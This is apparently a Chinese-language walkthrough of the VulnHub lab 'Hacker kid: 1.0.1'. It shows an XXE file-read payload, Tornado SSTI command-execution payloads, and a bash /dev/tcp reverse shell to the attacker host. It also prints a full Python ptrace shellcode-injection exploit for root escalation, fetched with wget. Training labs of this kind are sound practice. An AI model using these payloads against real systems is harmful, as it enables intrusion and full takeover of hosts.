Hacker kid: 1.0.1靶场渗透测试
Hacker kid: 1.0.1
来自 <Hacker kid: 1.0.1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.237
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.237
存在两个端口开放着http服务,首先访问80端口开放的http服务
只是一个静态页面,没什么用。查看页面得到提示
靶场提示你去尝试 ?page_no=... 的 GET 参数访问。很可能后端对 page_no 的处理存在漏洞,比如:
- SQL 注入 (page_no=1' OR '1'='1)
- 本地文件包含(LFI)攻击 (page_no=../../etc/passwd)
- 目录遍历(如下载页面内容)
4,然后就是对这个GET传参的位置进行模糊测试
http://192.168.23.237/?page_no=1
果然存在回显,使用burpsuite抓个包爆一下哪个数字字符能够回显出关键信息
传入的GET参数设置为变量,爆破范围1-100
当GET传入21的时候,靶场会回显出来一个域名
5,将得到的域名hackers.blackhat.local添加到/etc/hosts
vim /etc/hosts
添加成功,访问成功
网站提示我们使用dig工具,使用之
dig hackerkid.blackhat.local @192.168.23.237
如下图挖出来了一个新的主机名hackerkid.blackhat.local,那就继续在/etc/hosts文件里面添加一个新的解析
echo "192.168.23.237 hackerkid.blackhat.local" >> /etc/hosts;cat /etc/hosts
dig 简介
dig(Domain Information Groper)是用于查询 DNS 记录 的命令行工具,支持调试 DNS 问题、获取域名解析信息等。
基本用法
1. 查询域名的 A 记录(默认)
dig example.com
输出解析:
- ANSWER SECTION:显示域名的 IP 地址(A 记录)。
- Query time:查询耗时。
- SERVER:使用的 DNS 服务器。
2. 简化输出(仅结果)
dig +short example.com
输出示例:
93.184.216.34
常见查询类型
1. 查询 MX 记录(邮件服务器)
dig example.com MX
2. 查询 NS 记录(域名服务器)
dig example.com NS
3. 查询 CNAME 记录(别名)
dig www.example.com CNAME
4. 查询 TXT 记录(文本信息,如 SPF、DKIM)
dig example.com TXT
5. 反向 DNS 查询(IP 到域名)
dig -x 93.184.216.34
高级选项
1. 指定 DNS 服务器
使用 @ 指定查询的 DNS 服务器(如 Google DNS):
dig @8.8.8.8 example.com
2. 跟踪 DNS 查询路径
dig example.com +trace
3. 显示详细调试信息
dig example.com +multiline +nocmd +noall +answer
4. 使用 TCP 代替 UDP
默认使用 UDP,强制使用 TCP:
dig example.com +vc
批量查询
从文件读取域名列表并批量查询:
cat domains.txt | while read domain; do dig $domain +short; done
常用场景示例
1. 检查 DNS 解析延迟
dig example.com | grep "Query time"
2. 验证 DNSSEC 签名
dig example.com +dnssec
3. 查询所有记录类型
dig example.com ANY
6,访问新的域名得到了新网页
使用burpsuite抓一个包看看啥情况,首先设置代理转发到物理机的burpsuite
firefox --new-instance --no-remote --profile $(mktemp -d) \ --setPref "network.proxy.type=1" \ --setPref "network.proxy.http=192.168.99.74" \ --setPref "network.proxy.http_port=8080" \ --setPref "network.proxy.ssl=192.168.99.74" \ --setPref "network.proxy.ssl_port=8080" |
或者修改物理机的C:\Windows\System32\drivers\etc\hosts文件,修改完成之后,需要刷新DNS缓存
然后使用burpsuite成功抓包
存在 XXE(XML External Entity)漏洞 的可能性较高,原因如下:
- 请求内容为 XML 格式:Content-Type: text/plain 但实际传输的是 XML 数据,服务端可能直接解析 XML。
- 未禁用外部实体:如果服务端未配置禁用外部实体引用,攻击者可通过注入恶意实体实现任意文件读取或 SSRF。
右键发送到repeater模块,然后注入测试代码
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE llw [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <root><name>test</name><tel>12312341234</tel><email>&file;</email><password>123456</password></root> |
通过响应包知道了存在一个用户saket。再用php://协议的base64流查看一下saket用户的环境变量(file://协议不能正常回显)
php://filter/convert.base64-encode/resource=/home/saket/.bashrc
可以看到saket用户的环境变量内容已经以base64的方式返回出来了,解码得到关键泄露信息
使用burpsuite decoder模块base64解码内容发现了一个admin用户和密码Saket!#$%@!!
.bashrc 文件详解
.bashrc 是 Bash Shell 的配置文件,主要用于定义用户的 Shell 环境。当用户以 非登录模式 启动 Bash 时(如打开终端窗口),系统会自动加载此文件。它是 Linux/macOS 用户定制开发环境的核心工具之一。
1. 文件位置与作用
路径: ~/.bashrc (用户主目录下,隐藏文件)
作用:
- 设置 别名(Alias):简化常用命令。
- 定义 环境变量:如 PATH, JAVA_HOME。
- 配置 Shell 提示符(PS1):个性化终端显示。
- 加载脚本或工具:如自动激活 Python 虚拟环境。
- 覆盖默认 Shell 行为:例如禁用历史记录重复项。
2. 文件结构与语法
.bashrc 本质是一个 Shell 脚本,支持所有 Bash 语法:
# 示例:设置别名和环境变量 # 函数定义 # 条件判断(如检测特定系统) |
3. 重要注意事项
3.1 生效方式
- 手动生效: 修改后运行 source ~/.bashrc 或 . ~/.bashrc。
- 自动生效: 新打开的终端窗口会自动加载最新配置。
3.2 作用范围
- 仅对当前用户生效:因为文件位于用户主目录下。
- 子进程继承:在 Shell 中启动的程序(如脚本)会继承 .bashrc 中的环境变量。
3.3 与其他配置文件的关系
文件 | 加载场景 | 典型用途 |
~/.bash_profile | 登录 Shell(如 SSH) | 定义全局环境变量、启动程序 |
~/.bash_logout | 退出 Shell 时 | 清理临时文件、记录日志 |
/etc/bashrc | 所有用户的 Bash Shell | 系统级别名和函数 |
3.4 调试技巧
- 检查语法错误: bash -n ~/.bashrc
- 查看加载过程: bash -x ~/.bashrc
- 临时禁用: 启动 Bash 时使用 --norc 参数。
7,既然得到了一个账户密码,那么接下来就是找能够登录的网页,正好发现9999端口存在的网站是需要登录的
使用saket/Saket!#$%@!!登录成功
根据页面提示通过name传入GET参数buddy试试
http://192.168.23.237:9999/?name=buddy
没有什么明显的提示,使用burpsuite抓一个请求包看看
8,使用whatweb对网站使用的技术栈进行指纹识别
1. Tornado Server 6.1 版本风险
- 分析:Tornado 6.1 发布于2021年,需检查是否存在已知漏洞。
- CVE-2020-28476:影响Tornado <6.1,已修复(WebSocket 内存耗尽漏洞)。
- 其他潜在风险:检查更新日志,确认6.1是否修复关键漏洞。
建议:
- 使用工具(如nmap脚本、CVE数据库)验证是否存在未修复漏洞。
- 关注应用层逻辑漏洞(如路由配置不当)。
2. 开放重定向漏洞(Open Redirect)
风险点:next 参数未过滤,可能导致重定向至恶意站点。
验证方法:
curl -v "http://192.168.23.237:9999/login?next=http://evil.com"
观察是否返回302并跳转到http://evil.com。
修复建议:校验next参数为相对路径或白名单域名。
3. 登录表单安全测试
密码爆破:
- 使用工具(Hydra、Burp Intruder)尝试常见弱口令(admin/admin、root/123456)。
- 观察是否提供错误次数限制或锁定机制。
注入测试:
- SQL注入:用户名输入' OR 1=1 --,观察响应变化。
- SSTI测试:输入{{7*7}},若返回49则存在模板注入。
CSRF保护绕过:检查_xsrf令牌是否随机且绑定会话,尝试重放请求移除令牌或使用固定值。
4. 敏感信息泄露
静态文件泄露:
- 访问 /static/、/robots.txt 等路径,查找源码或配置文件。
- 尝试下载/etc/passwd(如路径遍历:../../etc/passwd)。
调试端点:
- 访问 /debug 或 /console,检查是否启用调试模式。
5. 会话管理风险
Cookie分析:
- 检查_xsrf令牌熵值(是否可预测或重复)。
- 测试会话固定或劫持可能性。
TornadoServer 6.1 的 SSTI 漏洞详细解析
漏洞成因
Tornado 框架的 SSTI(服务端模板注入)漏洞主要源于开发者对用户输入处理不当,将未经验证或过滤的用户输入直接嵌入模板渲染函数中。具体成因包括以下关键点:
- 动态渲染用户输入
开发者使用 render_string() 或类似函数时,直接将用户输入拼接为模板内容。例如:
class VulnHandler(tornado.web.RequestHandler):
def get(self):
user_input = self.get_argument('param')
self.render_string(f"User Input: {user_input}") # 用户输入直接嵌入模板
若用户输入包含模板语法(如 {{handler.settings}}),模板引擎会解析并执行这些代码,导致漏洞 - 模板引擎特性
Tornado 模板语法与 Jinja2 类似,支持以下功能:- 表达式输出:{{ ... }}(如 {{1+1}} 输出 2)。
- 控制语句:{% ... %}(如循环、条件判断)。
- 内置对象 handler:指向当前请求的 RequestHandler 实例,可通过其全局变量访问敏感数据(如 handler.settings 包含应用配置)26。
- 攻击链构造
攻击者利用 Python 魔术方法链(如 __class__、__bases__、__subclasses__())遍历类继承链,定位危险类(如 os._wrap_close)并执行命令。例如:
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].system('id')}}
其中 X 是目标子类的索引29。
漏洞利用场景
- 敏感信息泄露
注入 {{handler.settings}} 可泄露 Tornado 应用的配置信息,如 cookie_secret(用于签名校验),进而伪造会话或解密敏感数据28。 - 远程代码执行(RCE)
通过模板语法调用危险函数(如 os.popen、subprocess.Popen)执行任意命令:
{{__import__("os").popen("cat /etc/passwd").read()}}
{% import os %}{{os.popen("id").read()}}
```:cite[2]:cite[6] - 文件操作
利用 open() 函数读取或写入文件(需沙盒未禁用相关操作):
{{open('/etc/passwd').read()}} # 读取文件
```:cite[2]
漏洞触发条件
- 输入可控:攻击者能控制传入模板的参数(如 URL 参数、Cookie、请求头)。
- 未过滤危险字符:未对 {{、}}、__class__ 等符号进行转义或过滤。
- 模板动态渲染:使用 render_string 等函数动态生成模板内容23。
典型攻击链示例
- 信息泄露
GET /error?msg={{handler.settings}} HTTP/1.1
返回结果包含 cookie_secret 等敏感配置8。 - 命令执行
GET /?name={{''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} HTTP/1.1
通过子类链调用 os 模块执行命令19。
防御与缓解措施
- 输入过滤
- 禁止用户输入直接嵌入模板,改用预定义变量:self.render("template.html", param=filtered_input)2。
- 正则过滤 {{、}}、__class__ 等敏感符号210。
- 沙盒环境配置
- 启用 Tornado 的 restricted_environment 模式,限制模板可访问的对象和方法2。
- 移除全局命名空间中的危险模块(如 os、subprocess)2。
- 服务加固
- 设置 debug=False,避免异常信息泄露2。
- 定期更新 Tornado 版本,修复已知漏洞(如 CVE-2024-38472)210。
与其他框架的对比
特性 | Tornado | Flask(Jinja2) | Django |
模板语法 | 类似 Jinja2 | 标准 Jinja2 | 自研模板系统 |
高危对象 | handler.settings | config、request | settings |
漏洞利用难度 | 中等(依赖上下文对象) | 较低(魔术方法链成熟) | 较高(沙盒严格)2 |
总结
TornadoServer 6.1 的 SSTI 漏洞本质是开发者未能正确处理用户输入,结合模板引擎的动态渲染特性,导致攻击者可注入恶意代码。防御需从输入过滤、沙盒配置、框架升级多维度入手,避免因代码不规范引发的安全风险。
9,基本模板语法测试
测试目的:验证是否存在模板引擎解析行为
Payload:
/?name={{7*7}} # 检测是否返回49
/?name=${7*7} # 针对其他模板引擎(如FreeMarker)
/?name=<%= 7*7 %> # 针对ERB(Ruby)
观察点:
- 页面内容是否输出计算结果(如49)
- 是否触发错误信息(如模板语法错误)
分析存在SSTI模板注入,然后构造语句反弹shell(需要URL编码)
{%25+import+os+%25}{{os.system('bash+-c+"bash+-i+%26>+/dev/tcp/192.168.23.182/4444+0>%261"')}}
1. {% import os %}
- Jinja2 语法,导入 Python 的 os 模块,目的是为了使用系统功能(比如执行命令)。
- 一些模板环境可能不允许直接 import,需要特殊绕过。
2. {{ os.system(...) }}
- 使用模板表达式执行 os.system(),从而执行一个系统命令。
- 模板引擎会将结果渲染为字符串(通常无关紧要,因为执行效果已达成)。
3. 'bash -c "bash -i >& /dev/tcp/192.168.23.182/4444 0>&1"'
这是一个 反弹 shell 命令(reverse shell),含义如下:
- bash -i: 启动交互式 bash shell。
- >& /dev/tcp/192.168.23.182/4444: 将标准输出和标准错误重定向到攻击者的 IP 和端口。
- 0>&1: 将标准输入重定向为从远程主机接收,形成一个交互式会话。
结果就是:服务器会尝试连接攻击者机器上的 4444 端口,并提供一个 shell
与此同时kali打开对4444端口的监听
nc -lvvp 4444
成功getshell
10,开始逐步信息收集
然后查找如何提权
sudo -l
find / -perm -u=s 2>/dev/null
然后再看用户操作的历史记录
用/usr/sbin/getcap /usr/bin/python2.7命令看看python2.7
getcap 是 Linux 系统中的一个命令,用于查看二进制文件或可执行文件拥有的 文件能力(Capabilities)。
什么是 Capabilities?
Linux Capabilities(能力) 是一种对传统 root 权限的细粒度拆分机制,允许将原本只有超级用户(root)才能执行的操作,划分为多个独立的权限单元,可以单独赋予给程序或进程,从而实现 最小权限原则。
为什么需要 Capabilities?
在早期的 Linux 系统中:
- root 权限是“全能”的,一旦某个程序获取 root 权限,就可以为所欲为。
- 如果只想让程序拥有一项特权(比如绑定 80 端口),仍需赋予完整 root 权限,风险极高。
Capabilities 则将这些“超级权限”拆分,比如只授予:
- 网络监听能力
- 修改系统时间能力
常见的 Capabilities 权限
能力名 | 含义 | 用途示例 |
CAP_CHOWN | 修改文件所有者 | chown 命令 |
CAP_NET_RAW | 使用原始 socket | ping 命令 |
CAP_NET_BIND_SERVICE | 绑定低于 1024 的端口 | nginx 绑定 80 端口 |
CAP_DAC_OVERRIDE | 绕过文件权限检查 | 任意文件读取 |
CAP_SYS_PTRACE | 调试其他进程 | gdb、strace |
CAP_SYS_ADMIN | “万能”权限(接近 root) | 挂载、设定参数等 |
CAP_SYS_ADMIN 被认为是“能力界的 root”,提权风险极大。
安全风险
- 如果一个程序被赋予敏感的 Capabilities,比如 cap_sys_admin,就可能造成权限提升(提权)。
- getcap 在渗透测试中用于识别可能被滥用提权的程序。
11,既然现在控制着非 root 用户,而且能运行具有 CAP_SYS_PTRACE 的二进制文件。那就查找系统中存在运行中的 root 进程,进行内存注入 + 进程劫持
ps aux | grep root
为了方便提权,使用将nc的shell会话迁移至kali的metasploit
(需要再执行一遍 http://192.168.23.237:9999/?name={%25+import+os+%25}{{os.system(%27bash+-c+%22bash+-i+%26%3E+/dev/tcp/192.168.23.182/4444+0%3E%261%22%27)}})
use exploit/multi/handle
set PAYLOAD cmd/unix/reverse_bash
set LHOST 192.168.23.182
set LPORT 4444
run
然后写入公开的exp代码
import ctypes import sys import struct PTRACE_POKETEXT = 4 PTRACE_GETREGS = 12 PTRACE_SETREGS = 13 PTRACE_ATTACH = 16 PTRACE_DETACH = 17 class user_regs_struct(ctypes.Structure): _fields_ = [ ("r15", ctypes.c_ulonglong), ("r14", ctypes.c_ulonglong), ("r13", ctypes.c_ulonglong), ("r12", ctypes.c_ulonglong), ("rbp", ctypes.c_ulonglong), ("rbx", ctypes.c_ulonglong), ("r11", ctypes.c_ulonglong), ("r10", ctypes.c_ulonglong), ("r9", ctypes.c_ulonglong), ("r8", ctypes.c_ulonglong), ("rax", ctypes.c_ulonglong), ("rcx", ctypes.c_ulonglong), ("rdx", ctypes.c_ulonglong), ("rsi", ctypes.c_ulonglong), ("rdi", ctypes.c_ulonglong), ("orig_rax", ctypes.c_ulonglong), ("rip", ctypes.c_ulonglong), ("cs", ctypes.c_ulonglong), ("eflags", ctypes.c_ulonglong), ("rsp", ctypes.c_ulonglong), ("ss", ctypes.c_ulonglong), ("fs_base", ctypes.c_ulonglong), ("gs_base", ctypes.c_ulonglong), ("ds", ctypes.c_ulonglong), ("es", ctypes.c_ulonglong), ("fs", ctypes.c_ulonglong), ("gs", ctypes.c_ulonglong), ] libc = ctypes.CDLL("libc.so.6") pid=int(sys.argv[1]) # Define argument type and respone type. libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p] libc.ptrace.restype = ctypes.c_uint64 # Attach to the process libc.ptrace(PTRACE_ATTACH, pid, None, None) registers=user_regs_struct() # Retrieve the value stored in registers libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers)) print("Instruction Pointer: " + hex(registers.rip)) print("Injecting Shellcode at: " + hex(registers.rip)) # Shell code copied from exploit db. shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05" # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4): # Convert the byte to little endian. shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex') shellcode_byte=int(shellcode_byte_little_endian,16) # Inject the byte. libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte) print("Shellcode Injected!!") # Modify the instuction pointer registers.rip=registers.rip+2 # Set the registers libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers)) print("Final Instruction Pointer: " + hex(registers.rip)) # Detach from the process. libc.ptrace(PTRACE_DETACH, pid, None, None) |
- 代码功能概览:
- 通过ptrace系统调用附加到目标进程(PID由参数指定)
- 获取目标进程的寄存器状态
- 向目标进程的内存空间写入预置的Shellcode
- 修改指令指针(RIP)指向注入的Shellcode
- 恢复进程执行
- 技术细节分析:
- ptrace控制:
- PTRACE_ATTACH附加进程
- PTRACE_GETREGS获取寄存器
- PTRACE_POKETEXT写入内存
- PTRACE_SETREGS修改寄存器
- PTRACE_DETACH解除附加
- Shellcode注入:
- 使用反向TCP连接Shellcode(监听端口5600)
- 逐4字节写入目标进程内存(存在潜在问题)
- 执行流劫持:
- 通过修改RIP寄存器指向注入的Shellcode地址
- 存在的主要问题:
- 内存写入缺陷:
- PTRACE_POKETEXT每次操作8字节,但代码每次写入4字节,会导致高4位被清零
- 正确做法应使用8字节对齐操作(如struct.pack("<Q", ...))
- RIP计算错误:
- registers.rip+2的偏移量没有实际意义
- 正确应直接使用原始RIP地址(Shellcode起始位置)
- 架构兼容性:
- Shellcode为64位架构设计,若目标进程为32位将失败
- 潜在风险:
- 需要root权限或ptrace权限(/proc/sys/kernel/yama/ptrace_scope)
- 可能触发反调试机制
- Shellcode功能可能被安全软件检测
- 执行流程:
附加进程 → 获取寄存器 → 注入代码 → 修改RIP → 恢复执行
↓
目标进程执行Shellcode
该代码本质上是实现了一个基于ptrace的进程注入攻击原型
在kali上写入exp代码,然后开启http访问允许靶机下载
下载exp
wget http://192.168.23.182:8000/exp.py
然后执行脚本注入进程930
python2.7 exp.py 930
验证5600端口是否开放
ss -pantu |grep 5600
最后再使用nc进行连接,成功提权成为root用户
nc 192.168.23.237 5600
第二种方法,脚本自动化进程注入
for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done
ss -pantu |grep 5600
成功提权成为root用户
nc 192.168.23.237 5600